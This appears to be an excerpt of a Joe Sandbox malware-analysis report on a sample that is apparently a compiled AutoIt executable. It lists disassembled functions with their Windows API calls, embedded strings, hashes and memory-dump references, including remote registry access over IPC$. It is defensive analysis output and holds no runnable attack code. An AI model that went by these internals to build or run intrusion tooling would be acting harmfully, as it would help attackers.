Part of subcall function 00594750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00594743,?,?,005937AE,?), ref: 00594770

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00596BAD
SetCurrentDirectoryW.KERNEL32(?), ref: 00596CFA

Part of subcall function 0059586D: _wcscpy.LIBCMT ref: 005958A5

Part of subcall function 005B363D: _iswctype.LIBCMT ref: 005B3645

Strings

Error opening the file, xrefs: 005CE43D, 005CE4B8
Bad directive syntax error, xrefs: 005CE79D
Unterminated string, xrefs: 005CE7E4
AU3!, xrefs: 00596B61
#include depth exceeded. Make sure there are no recursive includes, xrefs: 005CE421
EA06, xrefs: 005CE452
>>>AUTOIT SCRIPT<<<, xrefs: 005CE496

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-1018226102
Opcode ID: d83fb6df1c12d05b63a5d851ad497c8bf4f33206fad23d23152dfd9e29472415
Instruction ID: b54409f672cde1a92e93740fe4adf37250fb3e76ba5e427b7605c48efb9f665f
Opcode Fuzzy Hash: d83fb6df1c12d05b63a5d851ad497c8bf4f33206fad23d23152dfd9e29472415
Instruction Fuzzy Hash: FC0256301083429FCB25EF64C886AAEBFE5BFD9314F14491DF499972A1DB309A49CB52

Function 005F2D36 Relevance: 19.7, APIs: 13, Instructions: 214windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 005F2D50
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 005F2DDD
GetMenuItemCount.USER32(00655890), ref: 005F2E66
DeleteMenu.USER32(00655890,00000005,00000000,000000F5,?,?), ref: 005F2EF6
DeleteMenu.USER32(00655890,00000004,00000000), ref: 005F2EFE
DeleteMenu.USER32(00655890,00000006,00000000), ref: 005F2F06
DeleteMenu.USER32(00655890,00000003,00000000), ref: 005F2F0E
GetMenuItemCount.USER32(00655890), ref: 005F2F16
SetMenuItemInfoW.USER32(00655890,00000004,00000000,00000030), ref: 005F2F4C
GetCursorPos.USER32(?), ref: 005F2F56
SetForegroundWindow.USER32(00000000), ref: 005F2F5F
TrackPopupMenuEx.USER32(00655890,00000000,?,00000000,00000000,00000000), ref: 005F2F72
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 005F2F7E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 3cf8274856476f33e7f6175af7c93cfd80c0590ed03d589e2e9635c5027308a5
Instruction ID: 81fca2caa49821c8161da54e01c05f4f232b6b527c049ad7b87e901d0c896070
Opcode Fuzzy Hash: 3cf8274856476f33e7f6175af7c93cfd80c0590ed03d589e2e9635c5027308a5
Instruction Fuzzy Hash: 7371D3B0600209BBEB219F54DC89FFABF69FB44324F244216F715AA1E1C7795C60DB91

Function 006088AB Relevance: 19.6, APIs: 10, Strings: 1, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 006088D7
CoInitialize.OLE32(00000000), ref: 00608904
CoUninitialize.OLE32 ref: 0060890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00608A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00608B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00622C0C), ref: 00608B6F
CoGetObject.OLE32(?,00000000,00622C0C,?), ref: 00608B92
SetErrorMode.KERNEL32(00000000), ref: 00608BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00608C25
VariantClear.OLEAUT32(?), ref: 00608C35

Strings

,,b, xrefs: 006088C1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID: ,,b
API String ID: 2395222682-1419447628
Opcode ID: 2181b1406ceb3247eb02daee1dd55393e0427bd12370a9e70836a421363579a1
Instruction ID: 107e4b5d3b7801cbbfcf9146b31be0825a1e6d75950d7e94875b9e6f14b6bd2e
Opcode Fuzzy Hash: 2181b1406ceb3247eb02daee1dd55393e0427bd12370a9e70836a421363579a1
Instruction Fuzzy Hash: 0CC148B1608305AFD704DF28C88496BBBEAFF89348F04491DF5899B291DB71ED06CB52

Function 005E77DC Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

_memset.LIBCMT ref: 005E786B
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 005E78A0
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 005E78BC
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 005E78D8
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 005E7902
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 005E792A
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005E7935
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 005E793A

Strings

\IPC$, xrefs: 005E7882
\CLSID, xrefs: 005E7822
SOFTWARE\Classes\, xrefs: 005E780C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memmove_memset
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 1411258926-22481851
Opcode ID: 0c17e3bd0c71cf9a034f8de2245571e06460664d837d667eaa209ccc653e8287
Instruction ID: dca902458f7372e0595318e506d9e673a7e3bb0526230573902c27e909dd0e3e
Opcode Fuzzy Hash: 0c17e3bd0c71cf9a034f8de2245571e06460664d837d667eaa209ccc653e8287
Instruction Fuzzy Hash: 5F41F77281462DABCF15EBA4DC99DEDBB79FF58710F44402AE805A3161EB309E05CB90

Function 00610E1A Relevance: 19.4, APIs: 1, Strings: 10, Instructions: 120COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0060FDAD,?,?), ref: 00610E31

Strings

HKCR, xrefs: 00610ED9
HKEY_CLASSES_ROOT, xrefs: 00610EC4
HKLM, xrefs: 00610EAF
HKEY_CURRENT_CONFIG, xrefs: 00610EEE
HKU, xrefs: 00610F43
HKCU, xrefs: 00610F21
HKCC, xrefs: 00610EFF
HKEY_LOCAL_MACHINE, xrefs: 00610E9A
HKEY_CURRENT_USER, xrefs: 00610F10
HKEY_USERS, xrefs: 00610F32

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 3964851224-909552448
Opcode ID: f09cd3a6da52ed5ee42b57375e65884a9a4cf91f779e199e89f2ce986c662e2f
Instruction ID: bebb37474314aa58cbb3fb0e3e9399941f6088923bdbb6692f3fcb93c2fb8c54
Opcode Fuzzy Hash: f09cd3a6da52ed5ee42b57375e65884a9a4cf91f779e199e89f2ce986c662e2f
Instruction Fuzzy Hash: 9A416C3115024A8FEF10EF10D85AAEF3BA6BF51314F284855FC555B292DB70AD9BCBA0

Function 005EF7A1 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,005CE2A0,00000010,?,Bad directive syntax error,0061F910,00000000,?,?,?,>>>AUTOIT SCRIPT<<<), ref: 005EF7C2
LoadStringW.USER32(00000000,?,005CE2A0,00000010), ref: 005EF7C9

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

_wprintf.LIBCMT ref: 005EF7FC
__swprintf.LIBCMT ref: 005EF81E
MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 005EF88D

Strings

., xrefs: 005EF873
Error: , xrefs: 005EF85B
Line %d (File "%s"):, xrefs: 005EF833
Line %d:, xrefs: 005EF818
%s (%d) : ==> %s.: %s %s, xrefs: 005EF7F7

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 1506413516-4153970271
Opcode ID: 053332a22aca30ce7bb5155058c44fcc563c0d602e42b8b44093114a288ee3bd
Instruction ID: 1191861a810853ccc73304d5824db49cd71637a1d76b08c4435076d4868b5b8b
Opcode Fuzzy Hash: 053332a22aca30ce7bb5155058c44fcc563c0d602e42b8b44093114a288ee3bd
Instruction Fuzzy Hash: 1C21513191421EEFCF16EF90CC4AEEE7B79BF18300F044866F515660A1EA71AA18DB50

Function 005F52C7 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 74COMMON

Download Yara Rule

APIs

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

Part of subcall function 00597924: _memmove.LIBCMT ref: 005979AD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 005F5330
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 005F5346
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 005F5357
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 005F5369
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 005F537A

Strings

open , xrefs: 005F52DF
status PlayMe mode, xrefs: 005F532B
close PlayMe, xrefs: 005F5341, 005F536E
alias PlayMe, xrefs: 005F5309
play PlayMe, xrefs: 005F5375
play PlayMe wait, xrefs: 005F5364

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: SendString$_memmove
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2279737902-1007645807
Opcode ID: 662d52b58db12392e76dae13f88af61a4217a6bdb4e87742340ea22683616d56
Instruction ID: e836fa060aeb643a402cb584f08e9c6255b5a89275263ea353cf116b0ec89f02
Opcode Fuzzy Hash: 662d52b58db12392e76dae13f88af61a4217a6bdb4e87742340ea22683616d56
Instruction Fuzzy Hash: A1116021AA412E7DDB64BA75DC5ADFF6EBDFBD5B40F01082AB501A30D1EEA00D04C6A0

Function 005F46B7 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 73networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 005F46D2
gethostname.WSOCK32(?,00000100), ref: 005F46EC
gethostbyname.WSOCK32(?), ref: 005F46F9
_wcscpy.LIBCMT ref: 005F4721
_memmove.LIBCMT ref: 005F4734
inet_ntoa.WSOCK32(?), ref: 005F473F
_strcat.LIBCMT ref: 005F474D
_wcscpy.LIBCMT ref: 005F4764
WSACleanup.WSOCK32 ref: 005F4772
_wcscpy.LIBCMT ref: 005F4780

Strings

0.0.0.0, xrefs: 005F471B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: ee949fa5a543a43057942df533509174413c29fdd8d2321a3daf0e8df47c0fa7
Instruction ID: a421a7ad73673342d33f70cc7ac3e91339c606e700141b2ce46370f6ad858eb5
Opcode Fuzzy Hash: ee949fa5a543a43057942df533509174413c29fdd8d2321a3daf0e8df47c0fa7
Instruction Fuzzy Hash: 2511D5315041196FCB20BB349C4EEEF7BBCFB41711F0445B6F54596091EF749A828A60

Function 005F4F75 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 005F4F7A

Part of subcall function 005B049F: timeGetTime.WINMM(?,75A4B400,005A0E7B), ref: 005B04A3

Sleep.KERNEL32(0000000A), ref: 005F4FA6
EnumThreadWindows.USER32(?,Function_00064F28,00000000), ref: 005F4FCA
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 005F4FEC
SetActiveWindow.USER32 ref: 005F500B
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 005F5019
SendMessageW.USER32(00000010,00000000,00000000), ref: 005F5038
Sleep.KERNEL32(000000FA), ref: 005F5043
IsWindow.USER32 ref: 005F504F
EndDialog.USER32(00000000), ref: 005F5060

Strings

BUTTON, xrefs: 005F4FDE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: 59e7b7302df45d2294b3fd2b2d412678c18a5883c160c9d8562dfe65e204b5fc
Instruction ID: a038f89d60b7ca620be8e313eb40c9a4e6d067909cba3a32fb07d78e98eb6c41
Opcode Fuzzy Hash: 59e7b7302df45d2294b3fd2b2d412678c18a5883c160c9d8562dfe65e204b5fc
Instruction Fuzzy Hash: FD219D70244709AFE7119F20EC8DA763FABFB45746F487129F206822B1EB758E40DA61

Function 005FD58D Relevance: 18.3, APIs: 12, Instructions: 283comCOMMON

Download Yara Rule

APIs

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

CoInitialize.OLE32(00000000), ref: 005FD5EA
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 005FD67D
SHGetDesktopFolder.SHELL32(?), ref: 005FD691
CoCreateInstance.OLE32(00622D7C,00000000,00000001,00648C1C,?), ref: 005FD6DD
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 005FD74C
CoTaskMemFree.OLE32(?,?), ref: 005FD7A4
_memset.LIBCMT ref: 005FD7E1
SHBrowseForFolderW.SHELL32(?), ref: 005FD81D
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 005FD840
CoTaskMemFree.OLE32(00000000), ref: 005FD847
CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 005FD87E
CoUninitialize.OLE32(00000001,00000000), ref: 005FD880

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
String ID:
API String ID: 1246142700-0
Opcode ID: 2774ecfaa419d2a942a3fc0feedbb7668fc85d51aea7ba8b747ee21e0d371bd0
Instruction ID: 9c4ba0041dd1740b2529639b3f6007579fcf5a0f5c61e853c2fe63e1c0565b68
Opcode Fuzzy Hash: 2774ecfaa419d2a942a3fc0feedbb7668fc85d51aea7ba8b747ee21e0d371bd0
Instruction Fuzzy Hash: 91B1DB75A00109AFDB04DFA4C889DAEBBF9FF89314B148469F909EB261DB34ED45CB50

Function 005EC267 Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 005EC283
GetWindowRect.USER32(00000000,?), ref: 005EC295
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 005EC2F3
GetDlgItem.USER32(?,00000002), ref: 005EC2FE
GetWindowRect.USER32(00000000,?), ref: 005EC310
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 005EC364
GetDlgItem.USER32(?,000003E9), ref: 005EC372
GetWindowRect.USER32(00000000,?), ref: 005EC383
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 005EC3C6
GetDlgItem.USER32(?,000003EA), ref: 005EC3D4
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 005EC3F1
InvalidateRect.USER32(?,00000000,00000001), ref: 005EC3FE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 02aa0290f951033df7f5105fcbfaf5cf648e0b4803d2ce35301421189c3f0132
Instruction ID: d3b20746bf241fdb1ec5ef3439138bc9f136ff730b46145f500992b86846f411
Opcode Fuzzy Hash: 02aa0290f951033df7f5105fcbfaf5cf648e0b4803d2ce35301421189c3f0132
Instruction Fuzzy Hash: B3513D71B00205AFDB18CFA9DD89AAEBBBAFB88711F14852DF615D6290DB70DD018B50

Function 0059201B Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00591B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00592036,?,00000000,?,?,?,?,005916CB,00000000,?), ref: 00591B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 005920D3
KillTimer.USER32(-00000001,?,?,?,?,005916CB,00000000,?,?,00591AE2,?,?), ref: 0059216E
DestroyAcceleratorTable.USER32(00000000), ref: 005CBCA6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005916CB,00000000,?,?,00591AE2,?,?), ref: 005CBCD7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005916CB,00000000,?,?,00591AE2,?,?), ref: 005CBCEE
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005916CB,00000000,?,?,00591AE2,?,?), ref: 005CBD0A
DeleteObject.GDI32(00000000), ref: 005CBD1C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 6b044ddc6d1ef1ba0ec1481773ed95deaa792edb385174c1316a5928933cbf18
Instruction ID: 0ad1d00a4bc97b54dc37f0bd2680e6914fd1bdc8ad852bbf77d305fc35178392
Opcode Fuzzy Hash: 6b044ddc6d1ef1ba0ec1481773ed95deaa792edb385174c1316a5928933cbf18
Instruction Fuzzy Hash: 32617630501B21EFDB25DF14D95DB2ABFF2FB44312F54A82DE4438AAA0C771A890DB91

Function 005921A5 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 005925DB: GetWindowLongW.USER32(?,000000EB), ref: 005925EC

GetSysColor.USER32(0000000F), ref: 005921D3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 57671c0bc8395cf9541a56004a58f47f40802d57b1ebc5f1da8d85884e4928fa
Instruction ID: 9c208459c21af77b18fd7372044a0c2250a3007d47395043679a77ccd29756e9
Opcode Fuzzy Hash: 57671c0bc8395cf9541a56004a58f47f40802d57b1ebc5f1da8d85884e4928fa
Instruction Fuzzy Hash: 64418E35004550BEDF259F68EC89BB93F66FB06731F188266FE658A1E1C7318C42DB21

Function 005FA8A7 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 183COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,0061F910), ref: 005FA90B
GetDriveTypeW.KERNEL32(00000061,006489A0,00000061), ref: 005FA9D5
_wcscpy.LIBCMT ref: 005FA9FF

Strings

fixed, xrefs: 005FA953
cdrom, xrefs: 005FA927
all, xrefs: 005FA911
removable, xrefs: 005FA93D
unknown, xrefs: 005FA996
network, xrefs: 005FA969
ramdisk, xrefs: 005FA97F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharDriveLowerType_wcscpy
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2820617543-1000479233
Opcode ID: 9255bed5a6dd4093c69816bd9f944922fc29e860927209f12ddca4f3428ff9f3
Instruction ID: 888448b20d293526e26da6530ff78021d90b9fe6254f4957af8edc2ed088129b
Opcode Fuzzy Hash: 9255bed5a6dd4093c69816bd9f944922fc29e860927209f12ddca4f3428ff9f3
